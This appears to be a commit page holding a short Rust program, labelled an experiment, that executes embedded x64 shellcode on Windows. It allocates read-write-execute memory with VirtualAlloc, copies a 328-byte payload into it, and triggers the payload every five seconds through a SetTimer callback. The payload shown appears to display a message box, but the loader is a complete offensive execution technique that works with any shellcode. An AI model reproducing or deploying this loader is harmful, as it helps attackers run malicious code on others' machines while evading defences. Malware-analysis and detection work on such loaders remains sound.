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committedMar 10, 2025
Shellcode Exec using SetTimer
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‎shellcode_exec/SetTimer.rs

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/*
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Shellcode Execution using SetTimer..
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An Small Experiment
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Author: @5mukx
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*/
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use winapi::um::{memoryapi::VirtualAlloc,
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winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
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winuser::{DispatchMessageW, GetMessageW, SetTimer, MSG}
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};
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use std::ptr;
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static SHELLCODE: [u8; 328] = [
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0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
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0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
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0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
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0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
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0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
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0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
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0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
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0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
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0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
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0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
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0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
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0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
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0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
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0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
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0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
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0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
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0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
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0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
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0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
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0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
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0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
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0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
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0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
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0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
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0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
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0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
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0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
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0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
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];
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fn main(){
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unsafe {
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let address = VirtualAlloc(
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ptr::null_mut(),
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SHELLCODE.len(),
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MEM_RESERVE | MEM_COMMIT,
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PAGE_EXECUTE_READWRITE
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);
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if address.is_null() {
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panic!("VirtualAlloc failed");
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}
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ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), address as *mut u8, SHELLCODE.len());
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let mut msg: MSG = std::mem::zeroed();
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// exec shellcode for every 5 seconds.
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SetTimer(
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ptr::null_mut(),
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0,
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5000,
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Some(std::mem::transmute(address)),
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);
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GetMessageW(&mut msg, ptr::null_mut(), 0, 0);
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DispatchMessageW(&msg);
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}
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}

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